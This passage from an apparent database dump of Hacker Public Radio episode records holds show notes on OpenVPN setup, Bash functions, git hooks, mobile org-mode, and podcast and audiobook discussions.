full notes which describe the use of <code>pdmenu</code> with examples can be found <a href=\"https://hackerpublicradio.org/eps/hpr2443/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://joeyh.name/code/pdmenu/\">Pdmenu wiki</a></li>\r\n<li><a href=\"https://joeyh.name/\">Joey Hess</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2443/full_shownotes.html\">Long notes for this episode</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','command line,menu,pdmenu,.pdmenurc',0,0,1),
(2451,'2017-12-25','Server Basics 105 OpenVPN Client',1931,'Klaatu walks you through installing and configuring an OpenVPN client','<p>In the previous episode of this series, you set up an OpenVPN server. In this episode, Klaatu walks you through:</p>\r\n\r\n<ol>\r\n<li><p>\r\nInstalling OpenVPN on a client machine.\r\n</p></li>\r\n<li><p>\r\nGenerating a key and certificate request.\r\n</p></li>\r\n<li><p>\r\nSigning a client cert from the server.\r\n</p></li>\r\n<li><p>\r\nConfiguring the client.conf file.\r\n</p></li>\r\n<li><p>\r\nConfiguring the client routing table to use the VPN subnet.\r\n</p></li>\r\n<li><p>\r\nPinging the server over VPN&#33;&#33;&#33;\r\n</p></li>\r\n</ol>\r\n\r\n<p>Where to go from here? \r\n</p>\r\n<p>Your next steps should be to investigate how your org wants to use VPN, how your clients actually want to join the VPN &#40;Network Manager has some nice features that makes joining a VPN fairly transparent&#41;. Have fun&#33;</p>',78,0,0,'CC-BY-SA','server,vpn,sys admin',0,0,1),
(2447,'2017-12-19','Server Basics 104 OpenVPN Server',2595,'Klaatu walks you through installing and configuring OpenVPN Server','<p>In this episode, Klaatu demonstrates how to:\r\n</p>\r\n\r\n<ol>\r\n<li><p>\r\nInstall OpenVPN\r\n</p></li>\r\n<li><p>\r\nGenerate certificates for your OpenVPN server\r\n</p></li>\r\n<li><p>\r\nGenerate a private key for your OpenVPN server\r\n</p></li>\r\n<li><p>\r\nConfigure the &#47;etc&#47;openvpn&#47;server.conf file\r\n</p></li>\r\n<li><p>\r\nStart the OpenVPN daemon\r\n</p></li>\r\n</ol>\r\n\r\n<p>In case it is not clear, you can follow along with Klaatu, using the exact same options and configuration values as he is using for a successful install. You do not need to change</p>\r\n<p>In the next episode, he will demonstrate how to do all of the above for OpenVPN clients.</p>\r\n\r\n<p>\r\nVPN is a <em>big</em> topic that warrants a whole miniseries unto itself, so this and the next episode concentrate on getting a VPN up and running, with clients connected and pinging back to the server on a dedicated subnet. Additional config options based on your specific use-case are left for you to explore on your own.\r\n</p>',78,0,0,'CC-BY-SA','server,vpn,sys admin',0,0,1),
(2448,'2017-12-20','Useful Bash functions - part 3',2033,'A few more possibly useful Bash functions are discussed','<h1 id=\"useful-bash-functions---part-3\">Useful Bash functions - part 3</h1>\r\n<h2 id=\"overview\">Overview</h2>\r\n<p>This is the third show about Bash functions. These are a little more advanced than in the earlier shows, and I thought I\'d share them in case they are useful to anyone.</p>\r\n<p>As before it would be interesting to receive feedback on these functions and would be great if other Bash users contributed ideas of their own.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long, they have been placed <a href=\"https://hackerpublicradio.org/eps/hpr2448/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Previous HPR episodes in this group <em>Useful Bash functions</em>:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1757\">Part 1</a>: \'<code>pad</code>\' and \'<code>yes_no</code>\' functions</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\">Part 2</a>: \'<code>yes_no</code>\' revisited</li>\r\n</ul></li>\r\n<li>Download the <a href=\"https://hackerpublicradio.org/eps/hpr2448/read_value.sh\"><em>read_value</em></a>, <a href=\"https://hackerpublicradio.org/eps/hpr2448/check_value.sh\"><em>check_value</em></a> and <a href=\"https://hackerpublicradio.org/eps/hpr2448/read_and_check.sh\"><em>read_and_check</em></a> functions and the <a href=\"https://hackerpublicradio.org/eps/hpr2448/trace_of_read_value.txt\">trace of <em>read_value</em></a>.</li>\r\n</ul>',225,42,1,'CC-BY-SA','coding,Bash,script,function',0,0,1),
(2439,'2017-12-07','Internal Logic of Stories',1152,'Lostnbronx talks about stories and story consistency.','<p>Lostnbronx rambles on about the structure of stories, and how their internal logic can make or break them.</p>\r\n<ul>\r\n<li><p>Star Trek\'s warp drive, as described on the Memory Alpha wiki:<br />\r\n<a href=\"https://memory-alpha.wikia.com/wiki/Warp_drive\" class=\"uri\">https://memory-alpha.wikia.com/wiki/Warp_drive</a></p></li>\r\n<li><p>My own use of the starjump concept is probably best heard in Stardrifter Book 03: &quot;Risk Analysis&quot;<br />\r\n<a href=\"https://downloads.cavalcadeaudio.com/stardrifter-novels/03-risk-analysis/?p=home\" class=\"uri\">https://downloads.cavalcadeaudio.com/stardrifter-novels/03-risk-analysis/?p=home</a></p></li>\r\n</ul>',107,105,0,'CC-BY-SA','stories,storytelling,gaming,rpg,movies,writing,star trek,stardrifter,warp,starjump,lostnbronx',0,0,1),
(2446,'2017-12-18','Git server and git hooks',2430,'Klaatu talks about running git on a server, and explains git hooks.','<p>A sample post-receive git hook:</p>\r\n<pre><code>\r\n#!/usr/bin/tcsh\r\n\r\nforeach arg ( $< )\r\n  set argv = ( $arg )\r\n  set refname = $1\r\nend\r\n\r\nset branch = `git rev-parse --symbolic --abbrev-ref $refname`\r\necho $branch\r\n\r\n    if ( \"$branch\" == \"master\" ) then\r\n      echo \"Branch detected: master\"\r\n      echo \"Do some stuff here.\"\r\n    else if ( \"$branch\" == \"dev\" ) then\r\n      echo \"Branch detected: dev\"\r\n      echo \"Do something else here.\"\r\n      else\r\n        echo \"Do something entirely different here.\"\r\n    endif\r\n</code></pre>\r\n',78,81,0,'CC-BY-SA','git',0,0,1),
(2440,'2017-12-08','How to save bad beans or the French press',57,'how to hash tag coffee?','<h3>Memorial</h3>\r\n<p>\r\nWe take some time to remember our good friend and fellow host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\">Lord Drachenblut</a> who passed away one year ago yesterday. <br />\r\nNow may be a good time to re listen to <a href=\"https://hackerpublicradio.org/eps.php?id=2201\">hpr2201 :: Matthew \"Lord Drachenblut\" Williams</a> HPR Community members remember the digital dragon.\r\n</p>\r\n\r\n<h3>Shownotes</h3>\r\n<p>I was driving in a place where I had no signal, so I recorded an episode about the first thing that popped into my mind.</p>\r\n<p>Recorded with lineageos recorder app through monster isport bluetooth headphones. I\'m amazed at the sound quality. I\'ll do this more. I promise</p>\r\n<p>(no I won\'t, I\'m lazy)</p>',126,88,1,'CC-BY-SA','driving, coffee',0,0,1),
(2445,'2017-12-15','Information Underground: Backwards Capitalism',2896,'Klaatu, Deepgeek, and Lostnbronx talk about markets, innovation, and opportunity.','<p>\r\nThe Info-Underground guys consider why capitalism does (or maybe doesn\'t) work, why people use it as a tool for a better life (or maybe don\'t), and what the source of ambition, commercial aspiration, and greed truly is (or maybe isn\'t).\r\n</p>',107,99,0,'CC-BY-SA','information underground,capitalism,klaatu,deepgeek,lostnbronx',0,0,1),
(2453,'2017-12-27','The power of GNU Readline - part 2',1165,'Various ways of deleting and undeleting on the command line with GNU Readline','<h1 id=\"the-power-of-gnu-readline---part-2\">The power of GNU Readline - part 2</h1>\r\n<p>In <a href=\"https://www.hackerpublicradio.org/eps.php?id=2073\" title=\"The power of GNU Readline - part 1\">part 1</a> we looked at some <code>Control</code> key and <code>Meta</code> key sequences as well as the <code>Backspace</code> and <code>DEL</code> keys in the context of GNU Readline.</p>\r\n<p>The full-length notes (available <a href=\"https://hackerpublicradio.org/eps/hpr2453/full_shownotes.html\">here</a>) contain a brief summary of what we covered and introduce <em>cutting</em> and <em>pasting</em> the GNU Readline way, with some examples.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.ibb.net/~anne/keyboard.html\">Consistent BackSpace and Delete Configuration</a></li>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/GNU_Readline\"><em>GNU Readline</em></a></li>\r\n<li><em>GNU Readline</em> manual: <a href=\"https://tiswww.cwru.edu/php/chet/readline/rluserman.html\" class=\"uri\">https://tiswww.cwru.edu/php/chet/readline/rluserman.html</a> (Note that the widely advertised address https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html seems not to work any more. This one, which I found through the main GNU site, seems OK though)</li>\r\n<li>Previous episode:\r\n<ul>\r\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2073\">The power of GNU Readline - part 1</a></li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2453/full_shownotes.html\">Detailed notes</a></li>\r\n</ul></li>\r\n</ul>',225,102,1,'CC-BY-SA','command line,cli,GNU Readline',0,0,1),
(2449,'2017-12-21','Org-mode mobile solution',578,'My search for taking org mode on the road','<h1 id=\"brief-introduction\">brief introduction</h1>\r\n<h2 id=\"myself\">myself</h2>\r\n<p>Hi, I\'m Brian in Ohio</p>\r\n<h2 id=\"inspiration-for-show\">inspiration for show</h2>\r\n<p>I wanted to tell a little about my trials and tribulations of finding a solution to taking org mode on the road. What\'s org mode? Listen to my last episode or do a duckduckgo to find out.</p>\r\n<h2 id=\"parameters\">parameters</h2>\r\n<p>After switching from using a bullet journal to using emacs-org-mode as my organizing device I immediately saw that lugging a laptop everywhere was not going to work for me. I wanted to be able to access org-mode, especially the agenda view, anywhere I might be. Laptops with limited battery life and a large physical presence were not going to work for me.</p>\r\n<h1 id=\"mobile-org-app\">mobile-org app</h1>\r\n<p>The first solution I tried, and the most obvious, was the mobile-org app. Its available for android or ios. I can only attest to the android version. Its an easy from the play store. This solution didn\'t work for me for a number of reasons. First, the documentation for the setup is terrible, and I became frustrated by the workflow and could not get useful results using the app. Mobile-org seems to be built around using dropox. In order to get around that I tried various methods of syncing my org files using onboard storage. Seeing this wasn\'t going to work I bit the bullet setup a dropbox account installed the clients, one on my slackware laptop and the other on my phone only to find dropbox doesn\'t support this application anymore. A little digging around and it seems the API used by mobile-org isn\'t up to snuff any more so, fail. I cut my loses and moved on to another possible solution.</p>\r\n<h1 id=\"pi-top\">pi-top</h1>\r\n<p>My next crack at solving the portable org mode problem was getting a pitop laptop <a href=\"https://pi-top.com/\">https://pi-top.com/</a>. Pitop is a laptop based on a raspberrypi. I won\'t go into the details of the device here but I\'ll say my idea for using this device was its advertised 8+ hour battery life. My old linux laptops rarely give me 2 hours of life So even though the pitop was physically larger than I wanted I gave it a whirl. Lets just say the battery does last 8+ hours, it just can\'t survive many recharges. 2 battery packs later I gave up on the pitop and went looking for something else.</p>\r\n<h1 id=\"pocketchip\">pocketchip</h1>\r\n<p>I heard klaatu mention a device called a pocketchip on his gnuworld order podcast <a href=\"https://gnuworldorder.info/\">https://gnuworldorder.info/</a>. I looked into it and here I thought might be a device that could work. Pocketchip <a href=\"https://getchip.com/pages/pocketchip\">https://getchip.com/pages/pocketchip</a> is a handheld linux computer. After ordering the device I began setting it up for my use case. There are plenty of tutorials on the pocketchip website on how to extend the usefulness of this product. The size of the device was good and the battery life was ok. Some people complain about the chicklet keyboard but I actually did not mind it to much. It took some fiddling to get the emacs keybindings I use to work on the odd keyboard layout, but its a linux computer so there\'s plenty of information out there. I used a thumb drive as a repository for my org files, wrote a couple of scripts to sync up the files with whatever device the drive was plugged into and wala a mobile org solution! Alas, the pocketchips demise was its build quality. The heart of the pocketchip, the system board\'s usb mini plug fell off, and then one system tweak later I bricked the device. I\'ll recover it eventually, you can program it through the gpio pins, but this was a quest for portable-org-mode, not fixing pocketchips, so onward.</p>\r\n<h1 id=\"raspberry-pi-tablet\">raspberry pi tablet</h1>\r\n<p>I saw a build of a raspberry pi tablet that looked very nice <a href=\"https://www.stefanv.com/electronics/a-compact-home-made-raspberry-pi-tablet.html\">https://www.stefanv.com/electronics/a-compact-home-made-raspberry-pi-tablet.html</a>. Always up for a challenge, I cobbled together a prototype and tried it out. The reason I eventually dropped this solution because the virtual keyboard didn\'t work well and I couldn\'t get the official raspberrypi lcd to rotate from portrait to landscape dynamically. Still a fun project and I\'ll get some use out of it sometime.</p>\r\n<h1 id=\"android-phone\">android phone</h1>\r\n<p>Well here\'s the solution I came up with. I was searching around on the internet and found a link telling about running emacs on an android phone. <a href=\"https://endlessparentheses.com/running-emacs-on-android.html\">https://endlessparentheses.com/running-emacs-on-android.html</a>. It involves installing the termux app, the hackers keyboard, both available in the google play store and apt-get installing emacs on the phone. After that I had full emacs running, all be it in a terminal so its slightly different then running on the desktop, and with emacs you get, drum roll please, org-mode. With this i have the device I always take with running org-mode. I sink my org files between my laptop and phone using the afore mentioned drop box account. The hackers keyboard works flawlessly and can digest any emacs keybinding I need. I also have a logitech bluetoothkeyboard that I can use if I have a lot of typing to do in org-mode on my phone, such as these shownotes!</p>\r\n<h1 id=\"conclusions\">conclusions</h1>\r\n<p>I find org-mode so useful that I want it available any where I go. And over the course of the last 8 months I went on a journey trying to find a solution to that desire. In the end, the solution was pretty obvious, these portable computers we carry around are amazing and thanks to the developers of termux and the hackers keyboard my phone is now infinitely more useful to me. Thanks for listening.</p>\r\n',326,0,0,'CC-BY-SA','emacs,org-mode,mobile,mobile-org app,pi-top,pocketchip,Android',0,0,1),
(2450,'2017-12-22','Android Audio with viper 4 android and magisk',609,'I go over some ways to help manage audio with android','<ul>\r\n<li><p>viper4android<br />\r\n<a href=\"https://vipersaudio.com/blog/?page_id=48\" class=\"uri\">https://vipersaudio.com/blog/?page_id=48</a></p></li>\r\n<li><p>magisk<br />\r\n<a href=\"https://forum.xda-developers.com/apps/magisk/official-magisk-v7-universal-systemless-t3473445\" class=\"uri\">https://forum.xda-developers.com/apps/magisk/official-magisk-v7-universal-systemless-t3473445</a></p></li>\r\n</ul>',36,0,1,'CC-BY-SA','audio,android',0,0,1),
(2452,'2017-12-26','Hydraulic Heavy Scale Project',1339,'Hydraulic Jack Mod, DIY, Travel Trailer Balance','<h2 id=\"hydraulic-heavy-scale-project\">Hydraulic Heavy Scale Project</h2>\r\n<h3 id=\"by-david-whitman\">by David Whitman</h3>\r\n<p>Why? - to weigh a heavy object yourself</p>\r\n<p>Not very difficult. Can be done in about 1/2 hour by someone who has experience doing this type of stuff. Lots longer for beginners.</p>\r\n<p>Things you will need: A drill motor, The right size bit for a small pilot hole and the right size bit for a fitting to connect the jack cylinder to the pressure gauge, A Thread TAP to make threads to connect the hydraulic 90 degree fitting to the jack, Some pipe dope is not a bad idea, A 90 degree appropriately sized fitting to connect a pressure gauge to the jack, a vise is nice, a wrench to dismantle the jack, A way to accurately measure the cylinder bore (best is a caliper) and some oil to refill the jack.</p>\r\n<p>This link is a youtube to help you visualize the steps. <a href=\"https://www.youtube.com/watch?v=ZBmxkWK_OFA\" class=\"uri\">https://www.youtube.com/watch?v=ZBmxkWK_OFA</a></p>\r\n<p>Hate this episode? No problem. Do a better one</p>',209,0,0,'CC-BY-SA','Hydraulic Jack Mod, DIY, Travel Trailer Balance',0,0,1),
(2454,'2017-12-28','The Alien Brothers Podcast - S01E02 - Strictly Hacking',6389,'Casper and Rutiger discuss the Uber hacks and the Intel ME known and unknown vulnerabilties','<p>Casper and Rutiger attempt to STAY ON TARGET by discussing hacking… which when you think about it is an utterly pretentious and vague goal for a podcast presented by Hacker Public Radio, especially when considering the end result. Shame on us!</p>\r\n<p>Other topics include Friendsgiving and giving thanks; probably the greatest gaming console of the 1970’s; early “hackings” (sic) committed by the hosts; &lt;&lt; &gt;&gt;</p>\r\n<h2 id=\"references\">References:</h2>\r\n<ol type=\"1\">\r\n<li>The link to the first chapter of Dief Minusky’s seminal the Nature of Systems is freely available here.<br />\r\n<a href=\"https://www.dropbox.com/s/or5vefjumde4qsk/TNOS%20E-I%20C1%2020030415.pdf?dl=0\">https://www.dropbox.com/s/or5vefjumde4qsk/TNOS%20E-I%20C1%2020030415.pdf?dl=0</a><br />\r\nAlthough we referred to the Chapter 8 material on system network security during the show, Rutiger decided it was better to release chapters, incrementally, in order let listeners gain a fuller appreciation for the work. Rutiger is also attempting to track down the original author, who never publicly released the work, to gain retroactive permission for this link, but for the moment Alien Brothers Podcast takes full responsibility for allowing access to this non-copyrighted work and we’ll just go ahead, you know, feel good about the possibility it will all turn out OK.</li>\r\n<li>Uber Data Breach (2017; CNN.com)</li>\r\n<li>How to Disable the Intel Management Engine Backdoor<br />\r\n<a href=\"https://beinglibertarian.com/disable-intel-management-engine-backdoor-courtesy-nsa/\" class=\"uri\">https://beinglibertarian.com/disable-intel-management-engine-backdoor-courtesy-nsa/</a></li>\r\n</ol>',359,0,1,'CC-BY-SA','Uber Hack, Intel ME, Alien Brothers',0,0,1),
(2455,'2017-12-29','Interface Zero RPG Part 5',5074,'Klaatu, Lobath, and Thaj play the Interface Zero RPG part 5','<p>An extra-long episode of the grand finale of the Interface Zero RPG play-through.</p>\r\n\r\n<p>Spoilers&#58; Chaiwei dies in combat and Syd runs off with Tina.</p>\r\n\r\n<p>\r\nAt the end of the show are all the credits containing sound effects and source materials. Here they are in text form.</p>\r\n\r\n<p>\r\nSound effects were taken from <a href=\"https://freesound.org\" target=\"_blank\">freesound.org</a>. Thanks to the following artists&#58;\r\n</p>\r\n\r\n<ul>\r\n<li>\r\n<p>\r\ninterfacezero/muzak/70891__spukkin__trumpetmetal.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/212926__simongray__mojo-cafe-nr-wagamama.flac</p></li><li>\r\n<p>\r\ninterfacezero/muzak/243629__lebcraftlp__heavy-rain.flac</p></li><li>\r\n<p>\r\ninterfacezero/muzak/382735__schots__gun-shot.flac</p></li><li>\r\n<p>\r\ninterfacezero/muzak/186104__marcel-farres__elevator.flac</p></li><li>\r\n<p>\r\ninterfacezero/muzak/187866__theomegapixel__metal-grind.flac</p></li><li>\r\n<p>\r\ninterfacezero/muzak/66713__sunnysidesound__desk-pound.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/367222__bluedelta__thunder-rain-low-frequencies-4-channel-48khz.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/212678__fridobeck__firework-explosion-1.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/213610__dpoggioli__laser-gun-explosion.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/100772__cgeffex__huge-rocket-launcher.wav</p></li><li>\r\n<p>\r\ninterfacezero/muzak/336735__newagesoup__double-explosion-bright-dark.wav</p></li><li>\r\n<p>\r\ninterfacezero/ep2/329877__klavo1985__music-of-the-black-circus-the-very-best-by-kris-klavenes.flac</p></li><li>\r\n<p>\r\ninterfacezero/ep2/94914__pcaeldries__lakeside2.flac</p></li><li>\r\n<p>\r\ninterfacezero/ep2/153376__inchadney__the-bay.flac</p></li><li>\r\n<p>\r\ninterfacezero/ep3/152396__taavi55__big-smash.ogg</p></li><li>\r\n<p>\r\ninterfacezero/ep3/135465__joelaudio__quick-smash-001.wav</p></li><li>\r\n<p>\r\ninterfacezero/ep3/387177__pfranzen__smashing-a-glass.ogg</p></li>\r\n</ul>\r\n\r\n<p><strong>Music</strong></p>\r\n<ul>\r\n<li>\r\n<p>\r\n<strong>Lyphrygerator</strong> and <strong>Wood&#47;Water</strong> by <a href=\"https://williamkenlon.com\" target=\"_blank\">William Kenlon</a>, used with permission.\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nAll other music by Klaatu.\r\n</p>\r\n</li>\r\n</ul>\r\n\r\n<p><strong>Story</strong></p>\r\n\r\n<p>\r\nWant to play this game yourself?\r\n</p>\r\n\r\n<ul>\r\n<li>\r\n<p>\r\nPathfinder and Starfinder are by <a href=\"https://paizo.com\" target=\"_blank\">Paizo</a>\r\n</p>\r\n</li>\r\n<li><p>\r\n<strong>Interface Zero</strong> module available from <a href=\"https://drivethrurpg.com/product/214863/Interface-Zero-Pathfinder-Edition\" target=\"_blank\">driveThruRPG.com</a>\r\n</p></li>\r\n\r\n<li><p>\r\nAdventure path <strong>Job inSecurity</strong> is available from <a href=\"https://drivethrurpg.com\">driveThruRPG.com</a>.\r\n</p>\r\n</li>\r\n<li><p>The source of the story is available from <a href=\"https://www.drivethrurpg.com/product/229831/Job-inSecurity\">driveThruRPG.com</a></p></li>\r\n</ul>\r\n<p><small><small>Editor\'s note 2017-12-28: link added from comments.</small></small></p> \r\n',78,95,1,'CC-BY-SA','Interface Zero,game,gaming,tabletop,rpg',0,0,1),
(2457,'2018-01-02','Getting ready for my new Macbook Pro',1165,'Knightwise is about to order a new macbook pro and shares some tips and tricks','<p>I am about to buy a new macbook pro and talk about the things I do to install and protect it.</p>\r\n<ul>\r\n<li><p>The case<br />\r\n<a href=\"https://www.amazon.de/gp/product/B01MPYI8SA/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1\" class=\"uri\">https://www.amazon.de/gp/product/B01MPYI8SA/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1</a></p></li>\r\n<li><p>The Cables<br />\r\n<a href=\"https://www.amazon.de/gp/product/B06W53PXRB/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1\" class=\"uri\">https://www.amazon.de/gp/product/B06W53PXRB/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1</a><br />\r\n<a href=\"https://www.amazon.de/gp/product/B01COOQIKU/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1\" class=\"uri\">https://www.amazon.de/gp/product/B01COOQIKU/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1</a></p></li>\r\n<li><p>The Screen protector<br />\r\n<a href=\"https://www.appelhoes.nl/Moshi-iVisor-AG-screenprotector-MacBook-Pro-13-inch-2016-Touch-Bar?gclid=EAIaIQobChMImvLt9PCI2AIVyTLTCh2FuwXfEAQYAiABEgJY6_D_BwE\" class=\"uri\">https://www.appelhoes.nl/Moshi-iVisor-AG-screenprotector-MacBook-Pro-13-inch-2016-Touch-Bar?gclid=EAIaIQobChMImvLt9PCI2AIVyTLTCh2FuwXfEAQYAiABEgJY6_D_BwE</a></p></li>\r\n<li><p>Homebrew and Cask<br />\r\n<a href=\"https://brew.sh/\" class=\"uri\">https://brew.sh/</a><br />\r\n<a href=\"https://caskroom.github.io/\" class=\"uri\">https://caskroom.github.io/</a></p></li>\r\n</ul>\r\n',111,0,1,'CC-BY-SA','Macbook Pro, Homebrew, warranty, case, cables',0,0,1),
(2458,'2018-01-03','Chrome Plugins You Must Have',643,'I go over my current list of Chrome plugins and how I secure my browser','<p><a href=\"https://www.linkedin.com/pulse/block-more-ads-unlimited-cloud-storage-multi-threaded-robert-mccurdy\" class=\"uri\">https://www.linkedin.com/pulse/block-more-ads-unlimited-cloud-storage-multi-threaded-robert-mccurdy</a></p>\r\n',36,0,1,'CC-BY-SA','Chrome extensions',0,0,1),
(2465,'2018-01-12','TronScript where have you been all my life!',1669,'I take an initial look at TronScript and its features','<ul>\r\n<li><p><a href=\"https://www.reddit.com/r/TronScript/\" class=\"uri\">https://www.reddit.com/r/TronScript/</a></p></li>\r\n<li><p><a href=\"https://github.com/bmrf/tron/blob/master/README.md#full-tron-description\" class=\"uri\">https://github.com/bmrf/tron/blob/master/README.md#full-tron-description</a></p></li>\r\n</ul>',36,0,1,'CC-BY-SA','windows,scripting,batch files,antivirus,malware',0,0,1),
(2459,'2018-01-04','free software\'s long tail',436,'Response to hpr2443 :: pdmenu by pdmenu\'s author','<p>Surprised to see in my podcast feed <a href=\"https://hackerpublicradio.org/eps.php?id=2443\">an episode</a> about an <a href=\"https://joeyh.name/code/pdmenu/\">insignificant program which I\'d written two decades earlier</a>, I thought I\'d record a response with some thoughts on free software\'s long tail.</p>\r\n',360,0,0,'CC-BY-SA','pdmenu,free software',0,0,1),
(2461,'2018-01-08','Gitolite',1839,'Using Gitolite to administer your Git server.','<p>Gitolite provides an admin a centralised interface, in the form of a configuration file, to make managing users, user permissions, repos, and user and repo groups easy. It abstracts Git users from UNIX users by defining a user by public keys, and manages permissions down to the branch-level. And better yet, it is itself managed over Git.\r\n</p>\r\n<p> \r\nProper documentation is available on <a href=\"https://gitolite.com\">Gitolite.com</a></p>',78,81,0,'CC-BY-SA','git,server,admin,dev',0,0,1),
(2471,'2018-01-22','Tea Time!',379,'I go over where I am at with Tea','<ul>\r\n<li>Yerba Mate Pajarito Special Selection/ Seleccion Especial 1.1lb/500 Gr Pajarito</li>\r\n</ul>',36,0,1,'CC-BY-SA','Tea, Yerba Mate Pajarito',0,0,1),
(2462,'2018-01-09','AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)',7030,'The HPR_AudioBookClub discusses Triplanetary: First in the Lensman Series by E. E. \"Doc\" Smith','<h3>SUMMARY</h3>\r\n<p>In this episode, the HPR_AudioBookClub discusses <strong>Triplanetary: First in the Lensman Series</strong> by E. E. \"Doc\" Smith.\r\n<br/><a href=\"https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/\">https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/</a></p>\r\n<h3>Non-Spoiler Thoughts</h3>\r\n<ul>\r\n <li>Like the last AudioBook, we all felt that there were quite a few cliches in the story, however this book is probably the source of most of the cliches it uses.</li>\r\n <li>If you want to see what Lensmen doesn\'t look like watch this: <a href=\"https://www.youtube.com/watch?v=-td8Jp0hJVA\">https://www.youtube.com/watch?v=-td8Jp0hJVA</a></li>\r\n</ul>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n <li>Thaj: Grapefuit Juice... Straight. Apparently NOT straight up</li>\r\n <li>x1101: <a href=\"https://www.gooseisland.com/beer/bourbon-county-stout.html?gclid=CIDivOaqusICFcxQ7AodcXEAKQ\">Goose Island Bourbon County Stout</a></li>\r\n <li>pokey: Smuttynose Winter Ale <a href=\"https://smuttynose.com/beer/winter-ale/\">https://smuttynose.com/beer/winter-ale/</a></li>\r\n</ul>\r\n<h3>Other Things We Talked About</h3>\r\n<ul>\r\n <li>Port knocking \r\n  <br/><a href=\"https://www.portknocking.org/\">https://www.portknocking.org/</a> \r\n  <br/><a href=\"https://en.wikipedia.org/wiki/Port_knocking\">https://en.wikipedia.org/wiki/Port_knocking</a></li>\r\n <li>John Williams \r\n  <br/><a href=\"https://en.wikipedia.org/wiki/John_Williams\">https://en.wikipedia.org/wiki/John_Williams</a> \r\n  <br/><a href=\"https://www.imdb.com/name/nm0002354/\">https://www.imdb.com/name/nm0002354/</a></li>\r\n <li>Danny Elfman \r\n  <br/><a href=\"https://en.wikipedia.org/wiki/Danny_Elfman\">https://en.wikipedia.org/wiki/Danny_Elfman</a> \r\n  <br/><a href=\"https://youtu.be/6SX8cWGcHJs\">https://youtu.be/6SX8cWGcHJs</a></li>\r\n <li>Stranger in a strange land \r\n  <br/><a href=\"https://en.wikipedia.org/wiki/Stranger_in_a_Strange_Land\">https://en.wikipedia.org/wiki/Stranger_in_a_Strange_Land</a></li>\r\n <li>Star Wars Extended Universe \r\n  <br/><a href=\"https://starwars.wikia.com/wiki/Star_Wars_Legends\">https://starwars.wikia.com/wiki/Star_Wars_Legends</a> \r\n  <br/><a href=\"https://en.wikipedia.org/wiki/Star_Wars_expanded_universe\">https://en.wikipedia.org/wiki/Star_Wars_expanded_universe</a></li>\r\n <li>Internet outages</li>\r\n</ul>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>City Of Masks</strong> by Mike Reeves-McMillan\r\n <br/><a href=\"https://scribl.com/books/PC439/city-of-masks\">https://scribl.com/books/PC439/city-of-masks</a></p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<p>The rest of the Lensman Series: <a href=\"https://en.wikipedia.org/wiki/Lensman_series\">https://en.wikipedia.org/wiki/Lensman_series</a></p>\r\n<p> What the new Star Wars movies should have been about: <a href=\"https://en.wikipedia.org/wiki/Thrawn_trilogy\">https://en.wikipedia.org/wiki/Thrawn_trilogy</a></p>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section.\r\n <br/>As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br/>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n <br/>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. It\'s been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don\'t have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</P>\r\n <ul>\r\n <li>Threshold: -30db</li>\r\n <li>Noise Floor: -50db</li>\r\n <li>Ratio: 